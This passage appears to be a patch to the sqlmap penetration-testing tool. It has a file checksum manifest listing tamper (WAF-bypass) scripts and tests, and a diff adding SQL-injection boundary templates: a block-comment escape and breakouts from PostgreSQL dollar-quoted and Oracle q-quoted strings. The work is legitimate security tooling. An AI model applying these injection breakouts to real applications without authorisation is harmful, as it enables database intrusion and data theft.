55092820a856f583cf1b661001b60216886d172cb7d0008920bf4ab3df88aff0 tamper/ifnull2casewhenisnull.py
|
||||
eeda2b2fd54a4aa5fcf5630f8bfae43e0a38a840ae908e2f6b0878959067413c tamper/ifnull2ifisnull.py
|
||||
94fe273bee7df27c9b4f1ee043779d06e4553169d9aec30c301d469275883dd1 tamper/informationschemacomment.py
|
||||
ff07320cb134520c3be99407b5c1e67528f944c6a12838ab583716622e877a95 tamper/infoschema2innodb.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 tamper/__init__.py
|
||||
017c91ba64c669382aa88ce627f925b00101a81c1a37a23dba09bfa2bfaf42ae tamper/least.py
|
||||
d762543ef6d90fd6ce8b897fdfb864e0461d2941922d331d97a334aefdbbe291 tamper/lowercase.py
|
||||
a890b9da3e103f70137811c73eeddfffa0dcd9fa95d1ff02c40fdc450f1d9beb tamper/luanginxmore.py
|
||||
93d749469882d9a540397483ad394af161ced3d43b7cefd1fad282a961222d69 tamper/luanginx.py
|
||||
d68eb164a7154d288ffea398e72229cfc3fc906d0337ca9322e28c243fbd5397 tamper/misunion.py
|
||||
eafd7ad140281773f92c24dbc299bec318e1c0cced4409e044e94294e40ad030 tamper/modsecurityversioned.py
|
||||
b533f576b260f485ebb70566c520979608d9f1790aa2811ce8194970b63e0d96 tamper/modsecurityzeroversioned.py
|
||||
6a6b69def1a9143748fc03aa951486621944e9ee732287e1a39ce713b2b04436 tamper/multiplespaces.py
|
||||
687f531696809452a37f631cdb201267b04cb83b34a847aec507aca04e2ec305 tamper/ord2ascii.py
|
||||
07cca753862dc9a2379aea23823d71ad6f4f6716a220e01792467549f8bde95a tamper/overlongutf8more.py
|
||||
b17748d63b763a7bfd2188f44145345507ce71e1b46f29d747132da5c56d7ed0 tamper/overlongutf8.py
|
||||
0af473a5fb3b458b0575d220b55ad96f81d9ca34eab854b597280f8bae6d35ba tamper/percentage.py
|
||||
5437bc272398173c997d7b156dac1606dcde30421923bfc8f744d3668441d79e tamper/plus2concat.py
|
||||
3cec7391b8b586474455ef4b089a27c67406ba02f91698647bb113c291f38692 tamper/plus2fnconcat.py
|
||||
f5e2cccbe669b732c0b8aaa56c16522fd579168ff61a92d31f94c6970070dfe0 tamper/randomcase.py
|
||||
5a7047f97c1e6a29e37c13607d92776f1b0eebce96f7e4d6926f459e73abb382 tamper/randomcomments.py
|
||||
e11f10ab09c2a7f44ca2a42b35f9db30d1d3715981bd830ea4e00968be51931b tamper/schemasplit.py
|
||||
21fae428f0393ab287503cc99997fba33c9a001a19f6dd203bbcc420a62a4b90 tamper/scientific.py
|
||||
7a71736657ca2b27a01f5f988a5c938d67a0f7e9558caba9041bd17b2cef9813 tamper/sleep2getlock.py
|
||||
7e23241588e21e17e2d167f696ebaa82b441338370e654357bbf29ee5393cb87 tamper/space2comment.py
|
||||
68b541ef75925f8e88a93129d3da259e0bbf7254febf637275382964a2763789 tamper/space2dash.py
|
||||
181b201f230aa6104c1a184091e292f8529b0bb1b0c5c1b69ded33c248c2d1e3 tamper/space2hash.py
|
||||
e390a99ea7c8de562a489c11c245c8b778b58090f636d231ce06a22829eaddb5 tamper/space2morecomment.py
|
||||
cd972178ac4464c6692939c347a03a8c1f3f5dae9d3ef83ae82328fa542b7f49 tamper/space2morehash.py
|
||||
45994faf85d0329efae3a6d34cc978dde5802f5f34614c52575e38e36c98b7d2 tamper/space2mssqlblank.py
|
||||
7fbaceff3722a32c65f3e3857a61188f05f9ea241f6393670dbb14f7081b542c tamper/space2mssqlhash.py
|
||||
05ea031d1de1073cf0efd336ec70814403169e4123709447854129a0d4032e24 tamper/space2mysqlblank.py
|
||||
0a3bc5380bddbfddfd32ce0a353f1abf57894f03262503c4f6e88748ae4a7f58 tamper/space2mysqldash.py
|
||||
ef090bed1c71b5d6cd6422748799236dbdadbc70593a7b8ccb26ad07c7a76946 tamper/space2plus.py
|
||||
93d1cf1f6fb977356c4c8dc2d7784d4564b8da3d9f16e8253f957f80af2491f3 tamper/space2randomblank.py
|
||||
477ae0f9e3fe48b2fe5ced7b525b05a8e1db66963ff19dbb38dc810443dece57 tamper/sp_password.py
|
||||
8e52309b893770bce57215fd3bf42d53d7f0d164690b4121b598126cbaaf6bc3 tamper/substring2leftright.py
|
||||
4b0dc71cef8daa67bcd54059e2a488340da9d64b5b2f848b2e2eff8972fc1649 tamper/symboliclogical.py
|
||||
dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unionalltounion.py
|
||||
9ebf67b9ce10b338edc3e804111abe56158fa0a69e53aacdd0ffa0e0b6af1f70 tamper/unmagicquotes.py
|
||||
67a83f8b6e99e9bb3344ad6f403e1d784cf9d3f3b7e8e40053cf3181fabe47fa tamper/uppercase.py
|
||||
3e54d7f98ca75181e6b16aa306d5a5f5f0dce857d5b3e6ce5a07d501f5d915aa tamper/varnish.py
|
||||
7afc4d262b97773e67dcfa3e253a9a060dc964750f01d739636d17ee069f1512 tamper/versionedkeywords.py
|
||||
0694e721b07b8242245688be5c7951a3a22f512ed73776a998885e4b1bc82bc7 tamper/versionedmorekeywords.py
|
||||
ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py
|
||||
44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 tests/__init__.py
|
||||
d16977d057c28888aa41500f79a19789cadef693cb8b7d9a3bca55b983ce2266 tests/test_agent.py
|
||||
138381e05a860272fedab780e6c38ab74c59c879048b11b909d23f8df654352a tests/test_api.py
|
||||
feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_bigarray.py
|
||||
36bcb68483d824db5d05870fab62f1907221bf256826b734302fbc15a9231c42 tests/test_brute.py
|
||||
27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py
|
||||
7596fc69678304923b5c945c0fd9b8ee62a2dfc7fb14ccb6dc7af30893dc8012 tests/test_checks.py
|
||||
9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py
|
||||
2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py
|
||||
cdacb37cbe5667fded00abe62a822e11c917e9cb5c3f664b7aa1a8d738412ed4 tests/test_common.py
|
||||
899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py
|
||||
7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py
|
||||
a7c3cf9f7820f377ebfdecf9383ebebc2932dd4a2a531a2b4496071f9d973c1c tests/test_compat.py
|
||||
75357efd92f3f57cc05244a0f40985108077479fd192caaaa81e14f61c13783d tests/test_convert.py
|
||||
2bd0faeaf7db1d73dd0caab3bde9900fdaa1f38fd736a6e238cd56ff9bc67b66 tests/test_databases_enum.py
|
||||
c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_datafiles.py
|
||||
9c240d4f796e56376374d4ce46f358ceb7d48cc6a7427760c5bfb89ff01cb545 tests/test_datatypes.py
|
||||
8a1edb6dbc000e412ba5cc598e024b669fc76ec0a8fc32136808e6325a018f70 tests/test_dbms_enum.py
|
||||
3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py
|
||||
180e5fd3f75fadf7ac1135f99797314e2cf1f8ae6dced02edfb18ccba43c0148 tests/test_deps.py
|
||||
b01343eb8aa42ea5c2c483ec028a24f6451aa6f668fdc0c289d5ff9554c277d7 tests/test_dialectdbms.py
|
||||
e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py
|
||||
993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py
|
||||
7f9180a53dbf0bb3e52801fdbfffd31f365a0bff77bf90e58d2ef63a0c23026f tests/test_dns_engine.py
|
||||
ec58ba0849d90d2bb7580fe2b8b96cd8299ddfc25f14dc27d9de9d41f152c78a tests/test_dns_server.py
|
||||
4556bb0bfa6fcd5b98552426c57c99942ee8274eaefec7c316fd64247e4fcd6a tests/test_dump_format.py
|
||||
9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py
|
||||
2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py
|
||||
fe1211ce43a51cd8ec7dd3395aafda8d7313ff60e2ef013072ce9fa49ca4a242 tests/test_entries.py
|
||||
bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py
|
||||
26730151abea598f193131c5d64ef92b531941972f3d6236f9951c3116030b1c tests/test_filesystem.py
|
||||
16fba97cba6afe8af11aa30bcc4266f53b00f2530161e010af10b51db1509703 tests/test_fingerprint.py
|
||||
20844dfc758e99b2f757906c51ef32aca0f699283ec5aa629158d3dc0fd279ea tests/test_generic_takeover.py
|
||||
f1f38f8b8ca667caadcb027d1a20eb895be4ef0935511114db235e66903bb463 tests/test_graphql.py
|
||||
50b71422ee91b9a4864f4d5ce6c9bdf169dc5f57ed1db05c152eb010c282136b tests/test_gui_helpers.py
|
||||
92648f2fe81e22c5726b198bbbda14961cd4d3294a0d9139dcea808b324142ac tests/test_har.py
|
||||
cc7677bc6c568c395112c1aa7d01e1d664e4d5940c86cb4d44987172864bae6f tests/test_hash_crack.py
|
||||
0336c875dd2b6554bff6eafd746229e38c69ca8070cd933d45cf27c82ef3e05f tests/test_hashdb.py
|
||||
c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py
|
||||
d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py
|
||||
5372270b7ed82b62f273c2e9bd1f7ecd8605371e66cd0ad70663762cb08d42f1 tests/test_inference_engine.py
|
||||
0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py
|
||||
caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_misc.py
|
||||
790b78c600b61eb0bdd6e07e14b1db3eb2ddd5fc5d4edb9e975f85ced38558c7 tests/test_nosql.py
|
||||
88a8c7ce0ba0ca721dffbcf9351cd07f7e471ad2fe667a10608c18952b09868d tests/test_openapi_drift.py
|
||||
6e63ed05db0490148d1c8428d785a23b0d5d5a0f566cd397c9c4a8fe8a6ed7dc tests/test_option.py
|
||||
cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py
|
||||
7554a918309cf0f2cd8a63a3bb7659708f13beffbcd5ce498ece9f9167d55c97 tests/test_parse_modules.py
|
||||
0d52bf4b96eea2330553fdf7f875ed571e596d2f7a4b3648a2b53e44666f0c70 tests/test_payload_marking.py
|
||||
6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py
|
||||
d6ffa83bd56ae98e7f55307b72dd7ea4802bccea9a85bb8f062619fb0a88913e tests/test_progress.py
|
||||
a6d013104601c0414628aff3d8b5b69bee3e6733781d8f8da880457d8b44bd3a tests/test_property.py
|
||||
c4c6f500bb71c3e430da343a49e8c8b8b3c919f438b6e6130597ce68dd856487 tests/test_purge.py
|
||||
2dfefb4bfaee3868152835502ec43da317c4f274b1d55cd2ef21e4f7390c9bea tests/test_replication.py
|
||||
67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750 tests/test_report.py
|
||||
4723d3bdf9623a49972e1d7378168ae8efbeaa31fb11c35d83bb40cc135fa0a8 tests/test_request_basic.py
|
||||
cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py
|
||||
5b6ce95dddbd07d0126224f4f066643938476e536e18b700ea5d916e1052a715 tests/test_search_enum.py
|
||||
a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py
|
||||
29d0278e3718b0fee422d3f6bb85ca02560138d48cd76f9fe1f35ac19d96071b tests/test_sgmllib.py
|
||||
d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py
|
||||
412a61053c2531cc0380b34dfd01d52bd118f6a6473728c069c467054c7e3c8e tests/test_ssti.py
|
||||
8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py
|
||||
8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e tests/test_tamper.py
|
||||
67472bd71c20782cc0f738e2c2e674c29d6985669e14d15b69baef7d0e33de62 tests/test_target_parsing.py
|
||||
b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_targeturl.py
|
||||
0e644bb7b25c183d0d689ea7be542d7a2ce780cc68067f89afb2ee095a79f762 tests/test_techniques.py
|
||||
639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6 tests/test_texthelpers.py
|
||||
f49bcce1df533ffa1acfd02af43faf6687b21eebda9362ceb1e5871b8cb37fd4 tests/test_threads.py
|
||||
708b3c040f8b677a84020dd6f7c4242f77260b3c6d2697fe8189e1881b0e1365 tests/test_union_engine.py
|
||||
48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78 tests/test_unpickle_security.py
|
||||
4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py
|
||||
eca021208e388b4d14c53f1e9f8a6e7d685e54ba572fb2a8487e6b620a20bcb5 tests/test_users_enum.py
|
||||
045f05f958100adc883b3f56613c5f8002dd19d0752225397a1f771775cb2779 tests/_testutils.py
|
||||
2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py
|
||||
93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py
|
||||
81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py
|
||||
2698060e7f001e054e345512ce95be458d9902b913afa769398b53145475738a tests/test_xpath.py
|
||||
55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py
|
||||
f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py
|
||||
7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63 thirdparty/beautifulsoup/__init__.py
|
||||
f862301288d2ba2f913860bb901cd5197e72c0461e3330164f90375f713b8199 thirdparty/bottle/bottle.py
|
||||
9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2 thirdparty/bottle/__init__.py
|
||||
0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff thirdparty/chardet/big5freq.py
|
||||
901c476dd7ad0693deef1ae56fe7bdf748a8b7ae20fde1922dddf6941eff8773 thirdparty/chardet/big5prober.py
|
||||
df0a164bad8aac6a282b2ab3e334129e315b2696ba57b834d9d68089b4f0725f thirdparty/chardet/chardistribution.py
|
||||
1992d17873fa151467e3786f48ea060b161a984acacf2a7a460390c55782de48 thirdparty/chardet/charsetgroupprober.py
|
||||
2929b0244ae3ca9ca3d1b459982e45e5e33b73c61080b6088d95e29ed64db2d8 thirdparty/chardet/charsetprober.py
|
||||
558a7fe9ccb2922e6c1e05c34999d75b8ab5a1e94773772ef40c904d7eeeba0f thirdparty/chardet/codingstatemachine.py
|
||||
e34cebeb0202670927c72b8b18670838fcaf7bc0d379b0426dbbedb6f9e6a794 thirdparty/chardet/compat.py
|
||||
4d9e37e105fccf306c9d4bcbffcc26e004154d9d9992a10440bfe5370f5ff68c thirdparty/chardet/cp949prober.py
|
||||
0229b075bf5ab357492996853541f63a158854155de9990927f58ae6c358f1c5 thirdparty/chardet/enums.py
|
||||
924caa560d58c370c8380309d9b765c9081415086e1c05bc7541ac913a0d5927 thirdparty/chardet/escprober.py
|
||||
46e5e580dbd32036ab9ddbe594d0a4e56641229742c50d2471df4402ec5487ce thirdparty/chardet/escsm.py
|
||||
883f09769d084918e08e254dedfd1ef3119e409e46336a1e675740f276d2794c thirdparty/chardet/eucjpprober.py
|
||||
fbb19d9af8167b3e3e78ee12b97a5aeed0620e2e6f45743c5af74503355a49fa thirdparty/chardet/euckrfreq.py
|
||||
32a14c4d05f15b81dbcc8a59f652831c1dc637c48fe328877a74e67fc83f3f16 thirdparty/chardet/euckrprober.py
|
||||
368d56c9db853a00795484d403b3cbc82e6825137347231b07168a235975e8c0 thirdparty/chardet/euctwfreq.py
|
||||
d77a7a10fe3245ac6a9cfe221edc47389e91db3c47ab5fe6f214d18f3559f797 thirdparty/chardet/euctwprober.py
|
||||
257f25b3078a2e69c2c2693c507110b0b824affacffe411bbe2bc2e2a3ceae57 thirdparty/chardet/gb2312freq.py
|
||||
806bc85a2f568438c4fb14171ef348cab9cbbc46cc01883251267ae4751fca5c thirdparty/chardet/gb2312prober.py
|
||||
737499f8aee1bf2cc663a251019c4983027fb144bd93459892f318d34601605a thirdparty/chardet/hebrewprober.py
|
||||
99665a5a6bd9921c1f044013f4ed58ea74537cace14fb1478504d302e8dba940 thirdparty/chardet/__init__.py
|
||||
be9989bf606ed09f209cc5513c730579f4d1be8fe16b59abc8b8a0f0207080e8 thirdparty/chardet/jisfreq.py
|
||||
3d894da915104fc2ccddc4f91661c63f48a2b1c1654d6103f763002ef06e9e0a thirdparty/chardet/jpcntx.py
|
||||
c7e37136025cd83662727b28eda1096cb90edcdeff9fbe69c68ce7abd637c999 thirdparty/chardet/langbulgarianmodel.py
|
||||
0d14ea9c4f0b1c56b3973ca252ebfbe425984f47dc23777fef9c89f74b000f60 thirdparty/chardet/langgreekmodel.py
|
||||
02118d149e3ad330914d9df550c100adccdda23e7fa69929ab141db2041b393f thirdparty/chardet/langhebrewmodel.py
|
||||
2a11db92bc99f895d1c2cc4073847349b585185660e8430975b996b8e5d569df thirdparty/chardet/langhungarianmodel.py
|
||||
b5beaf306af79329a46c7b95d288a49cb686360b7035d5c0cd3f325cefa08487 thirdparty/chardet/langrussianmodel.py
|
||||
6cb2774a086b331727a5412582ed8d80d7db896244cbd3e36946fb7812cfd9f5 thirdparty/chardet/langthaimodel.py
|
||||
8f891116c7272a084950e955a6a530eb352f8f50aa97a5b84a37e2fd730caa3a thirdparty/chardet/langturkishmodel.py
|
||||
4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f thirdparty/chardet/latin1prober.py
|
||||
011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4 thirdparty/chardet/mbcharsetprober.py
|
||||
87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e thirdparty/chardet/mbcsgroupprober.py
|
||||
498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92 thirdparty/chardet/mbcssm.py
|
||||
9e6c8ccaec731bcec337a2b7464d8c53324b30b47af4cad6a5d9c7ccec155304 thirdparty/chardet/sbcharsetprober.py
|
||||
86a79f42e5e6885c83040ace8ee8c7ea177a5855e5383d64582b310e18f1e557 thirdparty/chardet/sbcsgroupprober.py
|
||||
208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4 thirdparty/chardet/sjisprober.py
|
||||
0e96535c25f49d41d7c6443db2be06671181fe1bde67a856b77b8cf7872058ab thirdparty/chardet/universaldetector.py
|
||||
21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c thirdparty/chardet/utf8prober.py
|
||||
0380882c501df0c4551b51e85cfa78e622bd44b956c95ef76b512dc04f13be7f thirdparty/chardet/version.py
|
||||
1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd thirdparty/clientform/clientform.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/clientform/__init__.py
|
||||
4e8a7811e12e69074159db5e28c11c18e4de29e175f50f96a3febf0a3e643b34 thirdparty/colorama/ansi.py
|
||||
d3363f305a0c094a6a201b757e632b6751fa679247c214b6e275fb0341a1c84c thirdparty/colorama/ansitowin32.py
|
||||
fa1227cbce82957a37f62c61e624827d421ad9ffe1fdb80a4435bb82ab3e28b5 thirdparty/colorama/initialise.py
|
||||
c1e3d0038536d2d2a060047248b102d38eee70d5fe83ca512e9601ba21e52dbf thirdparty/colorama/__init__.py
|
||||
61038ac0c4f0b4605bb18e1d2f91d84efc1378ff70210adae4cbcf35d769c59b thirdparty/colorama/win32.py
|
||||
5c24050c78cf8ba00760d759c32d2d034d87f89878f09a7e1ef0a378b78ba775 thirdparty/colorama/winterm.py
|
||||
4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3 thirdparty/fcrypt/fcrypt.py
|
||||
6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f thirdparty/fcrypt/__init__.py
|
||||
dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9 thirdparty/identywaf/data.json
|
||||
e5c0b59577c30bb44c781d2f129580eaa003e46dcc4f307f08bc7f15e1555a2e thirdparty/identywaf/identYwaf.py
|
||||
edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/identywaf/__init__.py
|
||||
d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py
|
||||
4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py
|
||||
2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py
|
||||
ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py
|
||||
9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py
|
||||
3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py
|
||||
4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py
|
||||
c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py
|
||||
7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE
|
||||
c186b5d44edbeb8b536ce19afb476fec67b008a6fc6a8683f1866cea441051b1 thirdparty/socks/socks.py
|
||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py
|
||||
b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py
|
||||
4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py
|
||||
ac055d6ae1f7a99d4334a4e5328dae1758e7a84f01292acd1bb5105ee4f26927 thirdparty/wininetpton/win_inet_pton.py
|
||||
+60
-53
@@ -55,6 +55,8 @@ Tag: <boundary>
|
||||
4: Double quoted string
|
||||
5: LIKE double quoted string
|
||||
6: Identifier (e.g. column name)
|
||||
7: Block comment
|
||||
8: Alternative quoted string (e.g. PostgreSQL $$...$$, Oracle q'[...]')
|
||||
|
||||
Sub-tag: <prefix>
|
||||
A string to prepend to the payload.
|
||||
@@ -342,14 +344,6 @@ Formats:
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>") WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
@@ -414,33 +408,6 @@ Formats:
|
||||
<suffix>)+'</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>)||</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>)||</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>9</clause>
|
||||
<where>1</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix>+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>)+</suffix>
|
||||
</boundary>
|
||||
|
||||
<!-- End of pre-WHERE generic boundaries -->
|
||||
|
||||
<!-- Pre-WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1"-->
|
||||
@@ -453,14 +420,6 @@ Formats:
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>2</ptype>
|
||||
<prefix>")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
@@ -502,21 +461,25 @@ Formats:
|
||||
<level>4</level>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<ptype>1</ptype>
|
||||
<ptype>6</ptype>
|
||||
<prefix>` WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<ptype>1</ptype>
|
||||
<prefix>`) WHERE [RANDNUM]=[RANDNUM]</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
<!-- End of pre-WHERE derived table boundaries -->
|
||||
|
||||
<!-- Block-comment escape: injection point sits INSIDE /* ... */ (e.g. a query tag / trace / tenant
|
||||
annotation). '*/' terminates the app comment, the test runs, '/*' re-opens a comment that the
|
||||
app's original '*/' closes. Inert (stays inside the literal) when the value is not in a comment. -->
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
<clause>1,2,3</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>7</ptype>
|
||||
<prefix>*/</prefix>
|
||||
<suffix>/*</suffix>
|
||||
</boundary>
|
||||
|
||||
<!-- Escaped column name (e.g. SELECT `...` FROM table) boundaries -->
|
||||
<boundary>
|
||||
<level>4</level>
|
||||
@@ -550,7 +513,7 @@ Formats:
|
||||
<level>5</level>
|
||||
<clause>7</clause>
|
||||
<where>1</where>
|
||||
<ptype>3</ptype>
|
||||
<ptype>6</ptype>
|
||||
<prefix> [RANDSTR1],</prefix>
|
||||
<suffix> [RANDSTR2]</suffix>
|
||||
</boundary>
|
||||
@@ -565,4 +528,48 @@ Formats:
|
||||
<suffix>#</suffix>
|
||||
</boundary>
|
||||
<!-- End of AGAINST boolean full-text search boundaries -->
|
||||
|
||||
<!-- Alternative quoted string delimiters where ' and " have no terminating effect:
|
||||
PostgreSQL $$...$$ dollar quoting, Oracle q'[...]' / q'{...}' / q'(...)' / q'<...>'. -->
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>8</ptype>
|
||||
<prefix>$$</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>8</ptype>
|
||||
<prefix>]'</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>8</ptype>
|
||||
<prefix>}'</prefix>
|
||||
